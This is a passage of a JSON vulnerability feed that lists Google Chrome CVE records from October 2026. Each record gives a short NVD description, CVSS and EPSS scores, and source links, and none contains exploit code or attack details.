score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113025&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113025, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113024","cveId":"CVE-2026-113024","aliases":[],"kind":"vulnerability","title":"Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:53.277Z","updatedAt":"2026-10-21T17:52:44.573Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113024","asOf":"2026-10-21T17:52:44.573Z"},"epss":{"probability":0.0056,"percentile":0.46357,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113024&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113024","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113024","type":"primary","publishedAt":"2026-10-20T22:18:53.277Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113024&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113024, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113022","cveId":"CVE-2026-113022","aliases":[],"kind":"vulnerability","title":"Memory corruption in PDFium in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in PDFium in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in PDFium in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:53.043Z","updatedAt":"2026-10-23T13:17:08.260Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113022","asOf":"2026-10-23T13:17:08.260Z"},"epss":{"probability":0.00424,"percentile":0.3641,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113022&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113022","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113022","type":"primary","publishedAt":"2026-10-20T22:18:53.043Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113022&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113022, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113021","cveId":"CVE-2026-113021","aliases":[],"kind":"vulnerability","title":"Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in WebAppInstalls in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:52.930Z","updatedAt":"2026-10-21T17:59:01.960Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113021","asOf":"2026-10-21T17:59:01.960Z"},"epss":{"probability":0.00572,"percentile":0.4702,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113021&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113021","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113021","type":"primary","publishedAt":"2026-10-20T22:18:52.930Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113021&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113021, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113019","cveId":"CVE-2026-113019","aliases":[],"kind":"vulnerability","title":"Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Use after free in Turbolev in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:52.700Z","updatedAt":"2026-10-22T23:18:25.023Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113019","asOf":"2026-10-22T23:18:25.023Z"},"epss":{"probability":0.00443,"percentile":0.38245,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113019&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113019","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113019","type":"primary","publishedAt":"2026-10-20T22:18:52.700Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113019&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113019, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113018","cveId":"CVE-2026-113018","aliases":[],"kind":"vulnerability","title":"Memory corruption in IME in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in IME in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Memory corruption in IME in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:52.583Z","updatedAt":"2026-10-22T23:18:24.877Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113018","asOf":"2026-10-22T23:18:24.877Z"},"epss":{"probability":0.00443,"percentile":0.3825,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113018&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113018","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113018","type":"primary","publishedAt":"2026-10-20T22:18:52.583Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113018&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113018, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113017","cveId":"CVE-2026-113017","aliases":[],"kind":"vulnerability","title":"Use after free in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Views in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:52.467Z","updatedAt":"2026-10-21T17:42:53.820Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113017","asOf":"2026-10-21T17:42:53.820Z"},"epss":{"probability":0.00443,"percentile":0.38251,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113017&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113017","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113017","type":"primary","publishedAt":"2026-10-20T22:18:52.467Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113017&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113017, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113016","cveId":"CVE-2026-113016","aliases":[],"kind":"vulnerability","title":"Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted...","summary":"Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Improper input validation in Extensions in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:52.350Z","updatedAt":"2026-10-21T17:43:31.897Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113016","asOf":"2026-10-21T17:43:31.897Z"},"epss":{"probability":0.00424,"percentile":0.3641,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113016&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113016","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113016","type":"primary","publishedAt":"2026-10-20T22:18:52.350Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113016&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113016, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113015","cveId":"CVE-2026-113015","aliases":[],"kind":"vulnerability","title":"Use after free in Workers in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Use after free in Workers in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Use after free in Workers in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:52.207Z","updatedAt":"2026-10-21T17:44:32.497Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113015","asOf":"2026-10-21T17:44:32.497Z"},"epss":{"probability":0.00443,"percentile":0.3825,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113015&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113015","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113015","type":"primary","publishedAt":"2026-10-20T22:18:52.207Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113015&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113015, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113013","cveId":"CVE-2026-113013","aliases":[],"kind":"vulnerability","title":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)","detail":"Memory corruption in DevTools in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Low)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:51.937Z","updatedAt":"2026-10-21T17:46:20.813Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113013","asOf":"2026-10-21T17:46:20.813Z"},"epss":{"probability":0.00452,"percentile":0.39025,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113013&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113013","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113013","type":"primary","publishedAt":"2026-10-20T22:18:51.937Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113013&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113013, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113012","cveId":"CVE-2026-113012","aliases":[],"kind":"vulnerability","title":"Improper input validation in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page.","summary":"Improper input validation in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)","detail":"Improper input validation in GPU in Google Chrome prior to 156.0.8078.47 allowed a remote attacker to potentially execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: High)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:51.800Z","updatedAt":"2026-10-21T17:51:31.760Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113012","asOf":"2026-10-21T17:51:31.760Z"},"epss":{"probability":0.00443,"percentile":0.38243,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113012&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-113012","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-113012","type":"primary","publishedAt":"2026-10-20T22:18:51.800Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"Vendor advisory (via NVD references)","url":"https://chromereleases.googleblog.com/2026/10/stable-channel-update-for-desktop_02018666648.html","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The vendor advisory referenced by the CVE record, for affected versions and fixes."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=6500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-113012&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-113012, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-113011","cveId":"CVE-2026-113011","aliases":[],"kind":"vulnerability","title":"Use after free in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted...","summary":"Use after free in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)","detail":"Use after free in CredentialProvider in Google Chrome on on Windows prior to 156.0.8078.47 allowed a remote attacker to execute arbitrary code inside the sandbox via a crafted HTML page. (Chromium security severity: Medium)\n\nNVD status: Analyzed. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-20T22:18:51.677Z","updatedAt":"2026-10-21T17:38:23.630Z","regions":["Global"],"vendor":"google","product":"chrome","stacks":["Google Chrome","chrome"],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-113011","asOf":"2026-10-21T17:38:23.630Z"},"epss":{"probability":0.00443,"percentile":0.38243,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-113011&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD 